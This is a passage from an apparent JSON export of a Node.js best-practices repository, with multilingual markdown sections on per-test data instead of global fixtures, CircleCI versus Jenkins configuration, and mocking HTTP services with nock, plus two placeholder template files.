    "content": "# グローバルなテストフィクスチャとシードを避け、テストごとにデータを追加する\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\nテストケースをこれ以上ないほどシンプルに保つ、という黄金のテストルールに則り、各テストは、テスト同士が結合するのを防ぎ、テストフローの理解を容易にするために、各自のデータセットを用意して実行されるべきです。実際には、これはしばしば、パフォーマンス向上を目的としてテストを実行する前に DB にシードデータを与える（「テストフィクスチャ」としても知られています）テスターによって違反されています。もちろんパフォーマンスは懸念するべき事項ではありますが、それは緩和することができます（例えば、インメモリ DB、「最低でも、API（コンポーネント）のテストを書く」の項目を参照してください）。しかしながらテストの複雑さは、他の懸念事項を凌駕するほどの、はるかに痛みを伴う悲痛の種です。現実的には、各テストケースに必要な DB レコードを明示的に追加させ、それらのレコード上でのみ実行させるべきです。もしパフォーマンスがクリティカルな懸念事項になる場合には、バランスを考慮した妥協案として、データに変更を加えない唯一のテストスイート（例えば、クエリ）をシードする、という形がありえます。\r\n\r\n<br/><br/>\r\n\r\n### コード例: 各テストが独自のデータセットを用いて実行される\r\n```javascript\r\nit('When updating site name, get successful confirmation', async () => {\r\n  // テストは新しいデータを追加し、そのレコードのみを利用して動作しています\r\n  const siteUnderTest = await SiteService.addSite({\r\n    name: 'siteForUpdateTest'\r\n  });\r\n  const updateNameResult = await SiteService.changeName(siteUnderTest, 'newName');\r\n  expect(updateNameResult).to.be(true);\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### コード例 – アンチパターン:  テストが独立しておらず、事前に整えられたデータの存在を仮定している\r\n```javascript\r\nbefore(() => {\r\n  // サイトと管理者のデータを DB に追加しています。データはどこにあるのでしょうか？外部ファイルです。外部の json ファイルか、もしくは マイグレーションフレームワークです。\r\n  await DB.AddSeedDataFromJson('seed.json');\r\n});\r\nit('When updating site name, get successful confirmation', async () => {\r\n  // 私は「Portal」という名前のサイトがあることを知っています - シードファイル上で確認したのです\r\n  const siteToUpdate = await SiteService.getSiteByName('Portal');\r\n  const updateNameResult = await SiteService.changeName(siteToUpdate, 'newName');\r\n  expect(updateNameResult).to.be(true);\r\n});\r\nit('When querying by site name, get the right site', async () => {\r\n  // 私は「Portal」という名前のサイトがあることを知っています - シードファイル上で確認したのです\r\n  const siteToCheck = await SiteService.getSiteByName('Portal');\r\n  expect(siteToCheck.name).to.be.equal('Portal'); // 失敗しました！前のテストがサイト名を変更しています :[\r\n});\r\n```"
  },
  {
    "path": "sections/testingandquality/avoid-global-test-fixture.md",
    "content": "# Avoid global test fixtures and seeds, add data per-test\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\n Going by the golden testing rule - keep test cases dead-simple, each test should add and act on its own set of DB rows to prevent coupling and easily reason about the test flow. In reality, this is often violated by testers who seed the DB with data before running the tests (also known as ‘test fixture’) for the sake of performance improvement. While performance is indeed a valid concern — it can be mitigated (e.g. In-memory DB, see “Component testing” bullet), however, test complexity is a much painful sorrow that should govern other considerations. Practically, make each test case explicitly add the DB records it needs and act only on those records. If performance becomes a critical concern — a balanced compromise might come in the form of seeding the only suite of tests that are not mutating data (e.g. queries)\r\n\r\n<br/><br/>\r\n\r\n### Code example: each test acts on its own set of data\r\n```javascript\r\nit('When updating site name, get successful confirmation', async () => {\r\n  //Arrange - test is adding a fresh new records and acting on the records only\r\n  const siteUnderTest = await SiteService.addSite({\r\n    name: 'siteForUpdateTest'\r\n  });\r\n\r\n  //Act\r\n  const updateNameResult = await SiteService.changeName(siteUnderTest, 'newName');\r\n\r\n  //Assert\r\n  expect(updateNameResult).to.be(true);\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Code Example – Anti Pattern:  tests are not independent and assume the existence of some pre-configured data\r\n```javascript\r\nbefore(() => {\r\n  //Arrange - adding sites and admins data to our DB. Where is the data? outside. At some external json or migration framework\r\n  await DB.AddSeedDataFromJson('seed.json');\r\n});\r\n\r\nit('When updating site name, get successful confirmation', async () => {\r\n  //Arrange - I know that site name 'portal' exists - I saw it in the seed files\r\n  const siteToUpdate = await SiteService.getSiteByName('Portal');\r\n\r\n  //Act\r\n  const updateNameResult = await SiteService.changeName(siteToUpdate, 'newName');\r\n\r\n  //Assert\r\n  expect(updateNameResult).to.be(true);\r\n});\r\n\r\nit('When querying by site name, get the right site', async () => {\r\n  //Act - I know that site name 'portal' exists - I saw it in the seed files\r\n  const siteToCheck = await SiteService.getSiteByName('Portal');\r\n\r\n  //Assert\r\n  expect(siteToCheck.name).to.be.equal('Portal'); //Failure! The previous test change the name :[\r\n});\r\n```\r\n"
  },
  {
    "path": "sections/testingandquality/avoid-global-test-fixture.polish.md",
    "content": "# Unikaj globalnych test fixtures i seeds, dodawaj dane per-test\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nKierując się złotą zasadą testowania - spraw, aby przypadki testowe były wyjątkowo proste, każdy test powinien dodawać i działać na swoim własnym zestawie wierszy BD, aby zapobiec sprzężeniu i łatwo uzasadnić przebieg testu. W rzeczywistości jest to często naruszane przez testerów, którzy zapełniają bazę danych danymi przed uruchomieniem testów (znanych również jako „urządzenie testowe”) w celu poprawy wydajności. Chociaż wydajność jest istotnym problemem - można ją złagodzić (np. BD w pamięci, patrz punkt „Testowanie komponentów”), jednak złożoność testu jest bardzo bolesnym smutkiem, który powinien rządzić innymi rozważaniami. Praktycznie spraw, aby każdy przypadek testowy wyraźnie dodał potrzebne rekordy BD i działał tylko na tych rekordach. Jeśli wydajność stanie się kluczowym problemem - zrównoważony kompromis może przyjść w postaci inicjowania jedynego zestawu testów, które nie powodują mutacji danych (np. zapytania)\n\n<br/><br/>\n\n### Przykład kodu: każdy test działa na własnym zestawie danych\n```javascript\nit('When updating site name, get successful confirmation', async () => {\n  //test is adding a fresh new records and acting on the records only\n  const siteUnderTest = await SiteService.addSite({\n    name: 'siteForUpdateTest'\n  });\n  const updateNameResult = await SiteService.changeName(siteUnderTest, 'newName');\n  expect(updateNameResult).to.be(true);\n});\n```\n\n<br/><br/>\n\n### Przykład kodu - Antywzorzec: testy nie są niezależne i zakładają istnienie niektórych wstępnie skonfigurowanych danych\n```javascript\nbefore(() => {\n  //adding sites and admins data to our DB. Where is the data? outside. At some external json or migration framework\n  await DB.AddSeedDataFromJson('seed.json');\n});\nit('When updating site name, get successful confirmation', async () => {\n  //I know that site name 'portal' exists - I saw it in the seed files\n  const siteToUpdate = await SiteService.getSiteByName('Portal');\n  const updateNameResult = await SiteService.changeName(siteToUpdate, 'newName');\n  expect(updateNameResult).to.be(true);\n});\nit('When querying by site name, get the right site', async () => {\n  //I know that site name 'portal' exists - I saw it in the seed files\n  const siteToCheck = await SiteService.getSiteByName('Portal');\n  expect(siteToCheck.name).to.be.equal('Portal'); //Failure! The previous test change the name :[\n});\n```\n"
  },
  {
    "path": "sections/testingandquality/avoid-global-test-fixture.russian.md",
    "content": "# Избегайте глобальных тестовых приспособлений и параметров, добавляйте данные для каждого теста\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nСледуя золотому правилу тестирования - не усложняйте контрольные примеры, каждый тест должен добавлять и воздействовать на свой собственный набор строк БД, чтобы избежать связывания и легко рассуждать о ходе тестирования. В действительности это часто нарушается тестерами, которые загружают данные в БД перед запуском тестов (также называемых «тестовым креплением») для повышения производительности. Хотя производительность действительно является серьезной проблемой - ее можно уменьшить (например, в БД в памяти, см. Раздел «Тестирование компонентов»), однако сложность тестирования - это очень болезненное горе, которое должно руководствоваться другими соображениями. Практически, сделайте каждый тестовый пример явно добавляющим необходимые ему записи БД и действуйте только на эти записи. Если производительность становится критической проблемой - сбалансированный компромисс может прийти в виде заполнения единственного набора тестов, которые не изменяют данные (например, запросы)\r\n\r\n<br/><br/>\r\n\r\n### Пример кода: каждый тест действует на свой собственный набор данных\r\n```javascript\r\nit('When updating site name, get successful confirmation', async () => {\r\n  //test is adding a fresh new records and acting on the records only\r\n  const siteUnderTest = await SiteService.addSite({\r\n    name: 'siteForUpdateTest'\r\n  });\r\n  const updateNameResult = await SiteService.changeName(siteUnderTest, 'newName');\r\n  expect(updateNameResult).to.be(true);\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Пример кода - Антипаттерн: тесты не являются независимыми и предполагают наличие некоторых предварительно настроенных данных\r\n```javascript\r\nbefore(() => {\r\n  //adding sites and admins data to our DB. Where is the data? outside. At some external json or migration framework\r\n  await DB.AddSeedDataFromJson('seed.json');\r\n});\r\nit('When updating site name, get successful confirmation', async () => {\r\n  //I know that site name 'portal' exists - I saw it in the seed files\r\n  const siteToUpdate = await SiteService.getSiteByName('Portal');\r\n  const updateNameResult = await SiteService.changeName(siteToUpdate, 'newName');\r\n  expect(updateNameResult).to.be(true);\r\n});\r\nit('When querying by site name, get the right site', async () => {\r\n  //I know that site name 'portal' exists - I saw it in the seed files\r\n  const siteToCheck = await SiteService.getSiteByName('Portal');\r\n  expect(siteToCheck.name).to.be.equal('Portal'); //Failure! The previous test change the name :[\r\n});\r\n```"
  },
  {
    "path": "sections/testingandquality/bumpversion.japanese.md",
    "content": "# Title here\r\n\r\n### One Paragraph Explainer\r\n\r\nText\r\n\r\n### Code Example – explanation\r\n\r\n```javascript\r\ncode here\r\n```\r\n\r\n### Code Example – another\r\n\r\n```javascript\r\ncode here\r\n```\r\n\r\n### Blog Quote: \"Title\"\r\n\r\n From the blog, pouchdb.com ranked 11 for the keywords “Node Promises”\r\n\r\n > …text here\r\n\r\n### Image title\r\n\r\n![alt text](../../assets/images/swaggerDoc.png \"API error handling\")\r\n"
  },
  {
    "path": "sections/testingandquality/bumpversion.md",
    "content": "# Title here\r\n\r\n### One Paragraph Explainer\r\n\r\nText\r\n\r\n### Code Example – explanation\r\n\r\n```javascript\r\ncode here\r\n```\r\n\r\n### Code Example – another\r\n\r\n```javascript\r\ncode here\r\n```\r\n\r\n### Blog Quote: \"Title\"\r\n\r\n From the blog, pouchdb.com ranked 11 for the keywords “Node Promises”\r\n\r\n > …text here\r\n\r\n### Image title\r\n\r\n![alt text](../../assets/images/swaggerDoc.png \"API error handling\")\r\n"
  },
  {
    "path": "sections/testingandquality/citools.basque.md",
    "content": "# Aukeratu arretaz zure IE plataforma\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nIEaren mundua [Jenkins](https://jenkins.io/)en malgutasuna versus SaaS hornitzaileen sinpletasunaren arteko lehia izan ohi zen. Jokoa aldatzen ari da, [CircleCI](https://circleci.com/) eta [Travis](https://travis-ci.org/) bezalako SaaS hornitzaileek irtenbide sendoak eskaintzen baitituzte Docker edukiontziak barne, gutxieneko konfigurazio denborarekin Jenkins-ek \"soiltasun\" segmentuan ere lehiatzen saiatzen den bitartean. Hodeian edozeinek IE irtenbide aberatsa presta dezakeen arren, prozesua xehetasun handiz kontrolatu beharra izanez gero, Jenkins da oraindik ere aukeratutako plataforma. Erabakia askotan IE prozesua zenbateraino pertsonalizatu behar den zehazten du: hodeiko dohaineko hornitzaileek/ doako eta konfiguratutako doako hodei saltzaileek ahalbidetzen dute shell komando pertsonalizatuak, docker irudi pertsonalizatuak, lan fluxu doitua, matrizearen eraikuntzak exekutatzea, eta bestelako funtzionalitate aberats batzuk dituzte. Hala ere, Java bezalako programazio lengoaia formal bat erabiliz azpiegitura kontrolatu edo IE logika programatu nahi izanez gero, Jenkins izan daiteke oraindik aukera. Bestela, aukeratu dohainekoa eta sinplea den hodeiko soluzioren bat.\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: hodeiko IE ezarpen arrunta. .yml fitxategi bakarra besterik ez\r\n\r\n```yaml\r\nversion: 2\r\njobs:\r\n  build:\r\n    docker:\r\n      - image: circleci/node:4.8.2\r\n      - image: mongo:3.4.4\r\n    steps:\r\n      - checkout\r\n      - run:\r\n          name: Install npm wee\r\n          command: npm install\r\n  test:\r\n    docker:\r\n      - image: circleci/node:4.8.2\r\n      - image: mongo:3.4.4\r\n    steps:\r\n      - checkout\r\n      - run:\r\n          name: Test\r\n          command: npm test\r\n      - run:\r\n          name: Generate code coverage\r\n          command: './node_modules/.bin/nyc report --reporter=text-lcov'\r\n      - store_artifacts:\r\n          path: coverage\r\n          prefix: coverage\r\n\r\n```\r\n\r\n### Circle CI: ia zero prestakuntzadun hodeieko IEa\r\n\r\n![alt text](../../assets/images/circleci.png \"API erroreen kudeaketa\")\r\n\r\n### Jenkins: IE sofistikatu eta sendoa\r\n\r\n![alt text](../../assets/images/jenkins_dashboard.png \"API erroreen kudeaketa\")\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/citools.brazilian-portuguese.md",
    "content": "# Escolha cuidadosamente sua plataforma de Integração Contínua\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nO mundo da CI costumava ser a flexibilidade de [Jenkins](https://jenkins.io/) versus a simplicidade dos fornecedores de SaaS. O jogo está mudando agora, já que os provedores de SaaS como [CircleCI](https://circleci.com/) e [Travis](https://travis-ci.org/) oferecem soluções robustas, incluindo contêineres Docker com tempo mínimo de configuração, enquanto Jenkins tenta competir no segmento de 'simplicidade' também. Embora seja possível configurar uma solução de CI avançada na nuvem, caso seja necessário controlar os detalhes mais precisos, a Jenkins ainda é a plataforma preferida. A escolha acaba por reduzir até que ponto o processo de CI deve ser personalizado: os fornecedores de nuvem gratuitos e sem configuração permitem executar comandos de shell personalizados, imagens docker personalizadas, ajustar o fluxo de trabalho, executar compilações de matriz e outros recursos avançados. No entanto, se for desejado controlar a infraestrutura ou programar a lógica de CI usando uma linguagem de programação formal, como Java, talvez ainda seja possível escolher Jenkins. Caso contrário, considere optar pela opção de nuvem simples e sem configuração.\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código - uma configuração típica de IC na nuvem. Único arquivo .yml e é isso\r\n\r\n```javascript\r\nversion: 2\r\njobs:\r\n  build:\r\n    docker:\r\n      - image: circleci/node:4.8.2\r\n      - image: mongo:3.4.4\r\n    steps:\r\n      - checkout\r\n      - run:\r\n          name: Install npm wee\r\n          command: npm install\r\n  test:\r\n    docker:\r\n      - image: circleci/node:4.8.2\r\n      - image: mongo:3.4.4\r\n    steps:\r\n      - checkout\r\n      - run:\r\n          name: Test\r\n          command: npm test\r\n      - run:\r\n          name: Generate code coverage\r\n          command: './node_modules/.bin/nyc report --reporter=text-lcov'      \r\n      - store_artifacts:\r\n          path: coverage\r\n          prefix: coverage\r\n\r\n```\r\n\r\n### Circle CI - CI com quase zero configuração em nuvem\r\n\r\n![alt text](../../assets/images/circleci.png \"manipulador de erros do API\")\r\n\r\n### Jenkins - CI sofisticado e robusto \r\n\r\n![alt text](../../assets/images/jenkins_dashboard.png \"manipulador de erros do API\")\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/citools.chinese.md",
    "content": "# 仔细挑选您的 CI 平台\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n曾经，CI世界就是易于扩展的[Jenkins](https://jenkins.io/) vs 简单方便的SaaS方案。游戏正在改变，比如SaaS提供者[CircleCI](https://circleci.com/)和[Travis](https://travis-ci.org/)提供了强大的解决方案，包含最小化设置时间的Docker容器，而Jenkins也尝试在简单易用性上做文章而提高竞争性。虽然您可以在云上设置丰富的CI解决方案, 如果它需要控制更多的细节Jenkins仍然是选择的平台。最终的选择归结为CI过程自定义的范围: 免安装，方便设置的云供应商允许运行自定义shell命令、自定义的docker image、调整工作流、运行matrix build和其他丰富的功能。但是, 如果使用像Java这样的正式编程语言来控制基础结构或编程CI逻辑 - Jenkins可能仍然是首选。否则, 考虑选择简单方便和设置自由的云选项。\r\n\r\n<br/><br/>\r\n\r\n\r\n### 代码示例 – 典型的云CI配置，一个yml文件就够了\r\n```javascript\r\nversion: 2\r\njobs:\r\n  build:\r\n    docker:\r\n      - image: circleci/node:4.8.2\r\n      - image: mongo:3.4.4\r\n    steps:\r\n      - checkout\r\n      - run:\r\n          name: Install npm wee\r\n          command: npm install\r\n  test:\r\n    docker:\r\n      - image: circleci/node:4.8.2\r\n      - image: mongo:3.4.4\r\n    steps:\r\n      - checkout\r\n      - run:\r\n          name: Test\r\n          command: npm test\r\n      - run:\r\n          name: Generate code coverage\r\n          command: './node_modules/.bin/nyc report --reporter=text-lcov'      \r\n      - store_artifacts:\r\n          path: coverage\r\n          prefix: coverage\r\n\r\n```\r\n\r\n\r\n \r\n ### Circle CI - 几乎零设置的云CI\r\n![alt text](../../assets/images/circleci.png \"API error handling\")\r\n\r\n### Jenkins - 完善和强大的CI\r\n![alt text](../../assets/images/jenkins_dashboard.png \"API error handling\")\r\n\r\n \r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/citools.french.md",
    "content": "# Choisissez soigneusement votre plateforme CI\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nLe monde des CI était autrefois caractérisé par la flexibilité de [Jenkins](https://jenkins.io/) par opposition à la simplicité des fournisseurs de SaaS. Le jeu est en train de changer car les fournisseurs SaaS comme [CircleCI](https://circleci.com/) et [Travis](https://travis-ci.org/) offrent des solutions robustes incluant des conteneurs Docker avec un temps de configuration minimum tandis que Jenkins essaie également de rivaliser sur le segment de la « simplicité ». Bien qu'il soit possible de mettre en place une solution CI riche dans le cloud, Jenkins reste la plateforme de choix si elle doit contrôler des détails plus fins. Le choix se résume finalement à la capacité dans laquelle le processus CI doit être personnalisé : les fournisseurs gratuits du cloud et sans configuration permettent d'exécuter des commandes shell personnalisées, des images de docker personnalisées, d'ajuster le flux de travail, d'exécuter des matrices et d'autres fonctionnalités riches. Cependant, si l'on souhaite contrôler l'infrastructure ou programmer la logique du CI à l'aide d'un langage de programmation formel comme Java, Jenkins peut toujours être le bon choix. Sinon, envisagez d'opter pour l'option simple du cloud et sans configuration.\n\n<br/><br/>\n\n### Exemple de code - une configuration typique CI du cloud. Fichier .yml unique et c'est tout\n\n```yaml\nversion: 2\njobs:\n  build:\n    docker:\n      - image: circleci/node:4.8.2\n      - image: mongo:3.4.4\n    steps:\n      - checkout\n      - run:\n          name: Installer npm\n          command: npm install\n  test:\n    docker:\n      - image: circleci/node:4.8.2\n      - image: mongo:3.4.4\n    steps:\n      - checkout\n      - run:\n          name: Test\n          command: npm test\n      - run:\n          name: Générer une couverture de code\n          command: './node_modules/.bin/nyc report --reporter=text-lcov'      \n      - store_artifacts:\n          path: coverage\n          prefix: coverage\n\n```\n\n### Circle CI - CI du cloud avec une configuration presque nul\n\n![alt text](../../assets/images/circleci.png \"Gestion des erreurs API\")\n\n### Jenkins - CI sophistiqué et robuste\n\n![alt text](../../assets/images/jenkins_dashboard.png \"Gestion des erreurs API\")\n\n<br/><br/>\n"
  },
  {
    "path": "sections/testingandquality/citools.japanese.md",
    "content": "# CI プラットフォームを慎重に選択する\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\nCI の世界において、かつては [Jenkins](https://jenkins.io/) の柔軟性と SaaS のシンプルさが争っていました。ところが、[CircleCI](https://circleci.com/) や [Travis](https://travis-ci.org/) のような SaaS プロバイダが Docker コンテナを含む堅牢なソリューションを最小限のセットアップ時間で提供しているのに対し、Jenkins は「シンプルさ」の面で勝負しようとしているため、ゲームは変化してきています。一方はクラウド上でリッチな CI ソリューションをセットアップすることができますが、細かな設定の制御が必要な場合には、Jenkins は依然として選択肢になります。どれを選択するかは、結局どの程度 CI プロセスをカスタマイズするかに帰結します: 無料かつ設定不要なクラウド型は、独自のシェルコマンド、独自の Docker イメージ、ワークフローの調整、マトリックスビルドの実行やその他リッチな機能を利用できます。しかしながら、インフラをコントロールして CI ロジックを Java のような正式なプログラミング言語を用いてプログラミングしたい場合には、Jenkins を選択するのがよいかもしれません。それ以外の場合は、シンプルで設定不要のクラウド型を選択することを検討してください。\r\n\r\n<br/><br/>\r\n\r\n### コード例 – 一般的なクラウドの CI 設定。一つの .yml ファイル、たったそれだけ\r\n\r\n```yaml\r\nversion: 2\r\njobs:\r\n  build:\r\n    docker:\r\n      - image: circleci/node:4.8.2\r\n      - image: mongo:3.4.4\r\n    steps:\r\n      - checkout\r\n      - run:\r\n          name: Install npm wee\r\n          command: npm install\r\n  test:\r\n    docker:\r\n      - image: circleci/node:4.8.2\r\n      - image: mongo:3.4.4\r\n    steps:\r\n      - checkout\r\n      - run:\r\n          name: Test\r\n          command: npm test\r\n      - run:\r\n          name: Generate code coverage\r\n          command: './node_modules/.bin/nyc report --reporter=text-lcov'      \r\n      - store_artifacts:\r\n          path: coverage\r\n          prefix: coverage\r\n\r\n```\r\n\r\n### Circle CI - ほぼ設定の必要ないクラウド CI\r\n\r\n![alt text](../../assets/images/circleci.png \"Circle CI\")\r\n\r\n### Jenkins - 洗練された、堅牢な CI\r\n\r\n![alt text](../../assets/images/jenkins_dashboard.png \"Jenkins\")\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/citools.korean.md",
    "content": "# Carefully choose your CI platform\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nCI 환경은 [Jenkins](https://jenkins.io/)의 유연성과 SaaS 공급업체의 단순성을 비교한 결과였습니다. 현재 [CircleCI](https://circleci.com/) 및 [Travis](https://travis-ci.org/))와 같은 SaaS 제공업체가 최소 설정 시간을 가진 도커 컨테이너를 포함한 강력한 솔루션을 제공하는 반면 Jenkins는 '유효성' 부문에서도 경쟁하려고 노력함에 따라 판도가 바뀌고 있다. 클라우드에서 풍부한 CI 솔루션을 설정할 수 있지만, 세부 정보를 제어해야 하는 경우 Jenkins가 여전히 선택하는 플랫폼입니다. 선택은 결국 CI 프로세스를 어느 정도까지 커스터마이징해야 하는지로 귀결됩니다. 무료 및 설치 클라우드 공급업체는 맞춤형 셸 명령, 사용자 지정 도커 이미지 실행, 워크플로우 조정, 매트릭스 빌드 실행 및 기타 다양한 기능을 사용할 수 있습니다. 그러나 인프라를 제어하거나 Java와 같은 공식 프로그래밍 언어를 사용하여 CI 로직을 프로그래밍하려는 경우에는 Jenkins를 선택할 수 있습니다. 그렇지 않으면 간편하고 무료 클라우드 설정 옵션을 선택하는 것이 좋습니다.\r\n\r\n<br/><br/>\r\n\r\n### Code Example – a typical cloud CI configuration. Single .yml file and that's it\r\n\r\n```javascript\r\nversion: 2\r\njobs:\r\n  build:\r\n    docker:\r\n      - image: circleci/node:4.8.2\r\n      - image: mongo:3.4.4\r\n    steps:\r\n      - checkout\r\n      - run:\r\n          name: Install npm wee\r\n          command: npm install\r\n  test:\r\n    docker:\r\n      - image: circleci/node:4.8.2\r\n      - image: mongo:3.4.4\r\n    steps:\r\n      - checkout\r\n      - run:\r\n          name: Test\r\n          command: npm test\r\n      - run:\r\n          name: Generate code coverage\r\n          command: './node_modules/.bin/nyc report --reporter=text-lcov'\r\n      - store_artifacts:\r\n          path: coverage\r\n          prefix: coverage\r\n\r\n```\r\n\r\n### Circle CI - almost zero setup cloud CI\r\n\r\n![alt text](../../assets/images/circleci.png \"API error handling\")\r\n\r\n### Jenkins - sophisticated and robust CI\r\n\r\n![alt text](../../assets/images/jenkins_dashboard.png \"API error handling\")\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/citools.polish.md",
    "content": "# Ostrożnie wybierz swoją platformę CI\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nŚwiat CI był kiedyś elastyczny [Jenkins](https://jenkins.io/) vs prostota dostawców SaaS. Gra się teraz zmienia, ponieważ dostawcy SaaS, tacy jak [CircleCI](https://circleci.com/) i [Travis](https://travis-ci.org/), oferują solidne rozwiązania, w tym kontenery Docker z minimalnym czasem instalacji, podczas gdy Jenkins stara się także konkurować w segmencie „prostoty”. Chociaż można skonfigurować bogate rozwiązanie CI w chmurze, to gdyby wymagało to kontrolowania najdrobniejszych szczegółów, Jenkins jest nadal preferowaną platformą. Wybór ostatecznie sprowadza się do tego, w jakim stopniu proces CI powinien być dostosowany: darmowi i konfigurujący dostawcy darmowej chmury pozwalają na uruchamianie niestandardowych poleceń powłoki, niestandardowych obrazów dokerów, dostosowywanie przepływu pracy, uruchamianie kompilacji macierzy i innych bogatych funkcji. Jeśli jednak konieczne jest kontrolowanie infrastruktury lub programowanie logiki CI za pomocą formalnego języka programowania, takiego jak Java, Jenkins może nadal być wyborem. W przeciwnym razie rozważ wybranie prostej i skonfiguruj opcję bezpłatnej chmury\n\n<br/><br/>\n\n### Przykład kodu - typowa konfiguracja CI w chmurze. Pojedynczy plik .yml i to wszystko\n\n```yaml\nversion: 2\njobs:\n  build:\n    docker:\n      - image: circleci/node:4.8.2\n      - image: mongo:3.4.4\n    steps:\n      - checkout\n      - run:\n          name: Install npm wee\n          command: npm install\n  test:\n    docker:\n      - image: circleci/node:4.8.2\n      - image: mongo:3.4.4\n    steps:\n      - checkout\n      - run:\n          name: Test\n          command: npm test\n      - run:\n          name: Generate code coverage\n          command: './node_modules/.bin/nyc report --reporter=text-lcov'      \n      - store_artifacts:\n          path: coverage\n          prefix: coverage\n\n```\n\n### Circle CI - prawie zerowa konfiguracja CI w chmurze\n\n![alt text](../../assets/images/circleci.png \"API error handling\")\n\n### Jenkins - wyrafinowany i solidny CI\n\n![alt text](../../assets/images/jenkins_dashboard.png \"API error handling\")\n\n<br/><br/>\n"
  },
  {
    "path": "sections/testingandquality/citools.russian.md",
    "content": "# Тщательно выбирайте платформу CI\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nРаньше мир CI был гибкостью [Jenkins](https://jenkins.io/) по сравнению с простотой поставщиков SaaS. Теперь игра меняется, так как провайдеры SaaS, такие как [CircleCI](https://circleci.com/) и [Travis](https://travis-ci.org/), предлагают надежные решения, включая контейнеры Docker, с минимальным временем установки, в то время как Jenkins пытается конкурировать и в сегменте «простота». Несмотря на то, что в облаке можно настроить полнофункциональное CI-решение, в случае необходимости контролировать мельчайшие детали Jenkins по-прежнему остается предпочтительной платформой. В конечном итоге выбор сводится к тому, в какой степени процесс CI должен быть настроен: поставщики бесплатных и настраиваемых облачных сред позволяют запускать пользовательские команды оболочки, настраиваемые образы докеров, настраивать рабочий процесс, запускать сборки матрицы и другие богатые функции. Однако, если управление инфраструктурой или программирование логики CI с использованием формального языка программирования, такого как Java, желательны - Дженкинс все еще может быть выбором. В противном случае рассмотрите вариант выбора простой и бесплатной настройки облака.\r\n\r\n<br/><br/>\r\n\r\n### Пример кода - типичная конфигурация облачного CI. Одиночный файл .yml и все\r\n\r\n```yaml\r\nversion: 2\r\njobs:\r\n  build:\r\n    docker:\r\n      - image: circleci/node:4.8.2\r\n      - image: mongo:3.4.4\r\n    steps:\r\n      - checkout\r\n      - run:\r\n          name: Install npm wee\r\n          command: npm install\r\n  test:\r\n    docker:\r\n      - image: circleci/node:4.8.2\r\n      - image: mongo:3.4.4\r\n    steps:\r\n      - checkout\r\n      - run:\r\n          name: Test\r\n          command: npm test\r\n      - run:\r\n          name: Generate code coverage\r\n          command: './node_modules/.bin/nyc report --reporter=text-lcov'      \r\n      - store_artifacts:\r\n          path: coverage\r\n          prefix: coverage\r\n\r\n```\r\n\r\n### Circle CI - почти нулевая настройка облака CI\r\n\r\n![alt text](../../assets/images/circleci.png \"API error handling\")\r\n\r\n### Дженкинс - сложный и надежный CI\r\n\r\n![alt text](../../assets/images/jenkins_dashboard.png \"API error handling\")\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/mock-external-services.md",
    "content": "# Mock responses of external HTTP services\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nIsolate the component under test by intercepting any outgoing HTTP request and providing the desired response so the collaborator HTTP API won't get hit. Nock is a great tool for this mission as it provides a convenient syntax for defining external services behavior. Isolation is a must to prevent noise and slow performance but mostly to simulate various scenarios and responses - A good flight simulator is not about painting clear blue sky rather bringing safe storms and chaos. This is reinforced in a Microservice architecture where the focus should always be on a single component without involving the rest of the world. Though it's possible to simulate external service behavior using test doubles (mocking), it's preferable not to touch the deployed code and act on the network level to keep the tests pure black-box. The downside of isolation is not detecting when the collaborator component changes and not realizing misunderstandings between the two services - Make sure to compensate for this using a few contract or E2E tests.\r\n\r\n\r\n<br/><br/>\r\n\r\n### Code Example – a simple mock using nock\r\n\r\n```javascript\r\n// Intercept requests for internal or 3rd party APIs and return a predefined response\r\nbeforeEach(() => {\r\n  nock(\"http://localhost/user/\").get(`/1`).reply(200, {\r\n    id: 1,\r\n    name: \"John\",\r\n  });\r\n});\r\n```\r\n\r\n### Code Example – simulating an important scenario inside the test\r\n\r\n```javascript\r\n// Using an uncommon user id (7) and create a compatible interceptor\r\ntest(\"When the user does not exist, return http 404\", async () => {\r\n  //Arrange\r\n  const orderToAdd = {\r\n    userId: 7,\r\n    productId: 2,\r\n    mode: \"draft\",\r\n  };\r\n\r\n  nock(\"http://localhost/user/\").get(`/7`).reply(404, {\r\n    message: \"User does not exist\",\r\n    code: \"nonExisting\",\r\n  });\r\n\r\n  //Act\r\n  const orderAddResult = await axiosAPIClient.post(\"/order\", orderToAdd);\r\n\r\n  //Assert\r\n  expect(orderAddResult.status).toBe(404);\r\n});\r\n```\r\n\r\n### Code Example – preventing requests from going outside to the real-world\r\n\r\n```javascript\r\nbeforeAll(async () => {\r\n  // ...\r\n  // ️️️Ensure that this component is isolated by preventing unknown calls\r\n  nock.disableNetConnect();\r\n  // Enable only requests for the API under test\r\n  nock.enableNetConnect(\"127.0.0.1\");\r\n});\r\n```\r\n\r\n### Code Example – ensuring that the outgoing request schema is correct\r\n\r\n```javascript\r\n// ️️️Assert that the app called the mailer service appropriately with the right input\r\ntest(\"When order failed, send mail to admin\", async () => {\r\n  //Arrange\r\n  // ...\r\n  let emailPayload;\r\n  nock(\"http://mailer.com\")\r\n    